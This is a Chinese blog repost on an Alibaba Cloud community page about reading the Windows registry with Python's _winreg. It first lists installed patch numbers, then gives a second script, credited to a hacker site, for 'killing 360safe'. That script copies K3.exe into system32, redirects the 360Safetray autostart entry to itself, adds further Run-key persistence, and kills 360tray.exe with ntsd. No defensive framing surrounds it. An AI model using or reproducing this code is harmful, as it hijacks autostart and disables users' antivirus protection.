轉 使用Python訪問Windows的註冊表

來源:互聯網
上載者:User

標籤:hlist   close   pat   ros   compile   api   安裝   rom   pop   

在Python的標準庫中,_winreg.pyd可以操作Windows的註冊表,另外第三方的win32庫封裝了大量的Windows API,使用起來也很方便。不過這裡介紹的是使用_winreg操作註冊表,畢竟是Python內建的標準庫,無需安裝第三方庫。

下面的例子是通過Python擷取Windows XP下已經安裝的補丁號。Windows的補丁號都在“HKEY_LOCAL_MACHINE\SOFTWARE\\Microsoft\\ Updates”下,通過迴圈下面所有的目錄節點,如果找到的名稱符合RegexKB(\d{6}).*,則表示是一個補丁號。

從例子可以看出操作起來非常的簡單和快速。

# -*- coding: utf-8 -*-
# 擷取Windows的已打的補丁號
from _winreg import *
import re

def subRegKey(key, pattern, patchlist):
    # 個數
    count = QueryInfoKey(key)[0]
    for index in range(count):
        # 擷取標題
        name = EnumKey(key, index)
        result = patch.match(name)
        if result:
            patchlist.append(result.group(1))
        sub = OpenKey(key, name)
        subRegKey(sub, pattern, patchlist)
        CloseKey(sub)

if __name__ == ‘__main__‘:
    patchlist = []
    updates = ‘SOFTWARE\\Microsoft\\Updates‘
    patch = re.compile(‘(KB\d{6}).*‘)
    key = OpenKey(HKEY_LOCAL_MACHINE, updates)
    subRegKey(key, patch, patchlist)
    print ‘Count: ‘ + str(len(patchlist))
    for p in patchlist:
        print p
    CloseKey(key)

http://tenyears.cn/index.php/2007/01/26/python-win-registry.html

用python修改註冊表幹掉360safe
import _winreg
import os
import shutil

#複製自身
shutil.copyfile(‘K3.exe‘,‘c:\WINDOWS\system32\K3.exe‘)

#把360啟動改為自身
run = _winreg.OpenKey(
      _winreg.HKEY_LOCAL_MACHINE,
      "SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0,_winreg.KEY_WRITE
      )

_winreg.SetValueEx(
      run,"360Safetray",0,_winreg.REG_SZ,
      r"C:\WINDOWS\system32\k3.exe"
      )

#添加自啟動
self = _winreg.OpenKey(
      _winreg.HKEY_LOCAL_MACHINE,
      "SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0,_winreg.KEY_WRITE
      )

_winreg.SetValueEx(
      run,"k3",0,_winreg.REG_SZ,
      r"C:\WINDOWS\system32\k3.exe"
      )
#添加所有使用者啟動
allrun = _winreg.OpenKey(
      _winreg.HKEY_LOCAL_MACHINE,
      "Microsoft\Windows\CurrentVersion\policies\Explorer\Run",0,_winreg.KEY_WRITE
      )
_winreg.SetValueEx(
      allrun,"k3",0,_winreg.REG_SZ,
      r"C:\WINDOWS\system32\k3.exe"
      )

#終止360進程
os.popen("ntsd -c q -pn 360tray.exe cmd")

引自:http://www.hacker.com.cn/article/view_13879.html

轉 使用Python訪問Windows的註冊表

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.